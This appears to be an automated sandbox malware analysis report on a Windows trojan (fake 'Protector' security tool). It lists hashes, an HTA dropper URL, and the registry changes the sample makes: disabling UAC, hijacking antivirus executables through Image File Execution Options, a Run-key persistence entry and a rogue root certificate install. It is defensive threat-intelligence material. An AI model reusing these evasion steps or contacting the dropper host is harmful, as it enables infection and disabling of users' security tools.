5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa

General

Target

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Size

1.8MB
MD5

043a1c1b7811cb6f4e065cc38344b929
SHA1

5d2559f9a3e05b9ab7b8c0c81f8f4371ca522492
SHA256

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa
SHA512

f11dd788253b2ed6f39a7091f1462013d27d7620a493819dd69ad17eb4a85449654eb524aa09a0b3b1d674d3d5b3acf52badfdb5a109e3b018d818e6d4ee15d1
SSDEEP

49152:s0sBb4+y/icDmLVQdYHV3mVwe7LE0RGdXZactRx/9nMMq:i41/icSLv3kXEXXscd/9MMq

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.onlinesecstats.info/?0=166&1=3&2=1&3=65&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=jcygevtfwp&14=1

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

Protector-cqlq.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-cqlq.exe

Disables taskbar notifications via registry modification
evasion
Executes dropped EXE 1 IoCs

Processes:

Protector-cqlq.exe

pid process

1720 Protector-cqlq.exe

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Protector-cqlq.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sahagent.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bs120.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleanpc.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\n32scanw.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvsvc32.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ozn695m5.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Quick Heal.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trojantrap3.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdwarePrj.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanhnt.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\generics.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wyvernworksfirewall.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navap.navapsvc.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\agentsvr.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dssagent.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\espwatch.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavpf.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winupdate.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpfservice.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pctsAuxs.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rav7win.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scan95.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vptray.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rwg	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avwupsrv.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clean.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-prot95.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fameh32.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fp-win.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iedll.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loader.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrustWarrior.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vettray.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prizesurfer.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ants.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-stopw.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jammer.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netspyhunter-1.2.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\padmin.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pptbc.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpm.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\_avpcc.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\_avpcc.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkservice.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msa.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\npscheck.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcip10117_0.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ppinupdt.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\titanin.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brw.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msblast.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuickHealCleaner.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rcsync.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PC_Antispyware2010.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPlus.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arr.exe	Protector-cqlq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9.exe	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpupd.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brasil.exe\Debugger = "svchost.exe"	Protector-cqlq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsav530stbyb.exe\Debugger = "svchost.exe"	Protector-cqlq.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 2 IoCs

Processes:

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe

pid	process
1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Protector-cqlq.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run	Protector-cqlq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-cqlq.exe"	Protector-cqlq.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Protector-cqlq.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-cqlq.exe

Drops file in System32 directory 3 IoCs

Processes:

Protector-cqlq.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-cqlq.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-cqlq.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-cqlq.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2044 sc.exe
1648 sc.exe
1028 sc.exe
996 sc.exe
1296 sc.exe
1084 sc.exe
1476 sc.exe
280 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2044	sc.exe
1648	sc.exe
1028	sc.exe
996	sc.exe
1296	sc.exe
1084	sc.exe
1476	sc.exe
280	sc.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

Protector-cqlq.exemshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-cqlq.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	Protector-cqlq.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 37 IoCs

Processes:

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\HELPDIR\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\TypeLib	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\InprocServer32\ = "%SystemRoot%\\SysWow64\\netcenter.dll"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\0\win32\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\0\win32\ = "C:\\PROGRA~2\\MICROS~1\\Office14\\GROOVE.EXE\\141"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\HELPDIR	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\VersionIndependentProgID\ = "netcenter.NCLUA"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\0\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\TypeLib\ = "{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\VersionIndependentProgID	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\VersionIndependentProgID\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Version\ = "1.0"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\ProgID	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\ProgID\ = "netcenter.NCLUA.1"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Version\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\InprocServer32	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\TypeLib\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\ = "Ibacipel"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Version	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\0\win32	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\FLAGS	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\FLAGS\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Elevation\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\InprocServer32\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\ProgID\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Programmable	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Programmable\	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E866508E-68B2-48E6-39A0-D0A6C6CC9FFA}\Elevation	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\ = "Groove Web Services Contacts Service"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\0	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E4BDD0F4-40C4-FDFE-8BED-2EF950EC4567}\1.0\FLAGS\ = "0"	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Protector-cqlq.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-cqlq.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-cqlq.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Protector-cqlq.exe

pid	process
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
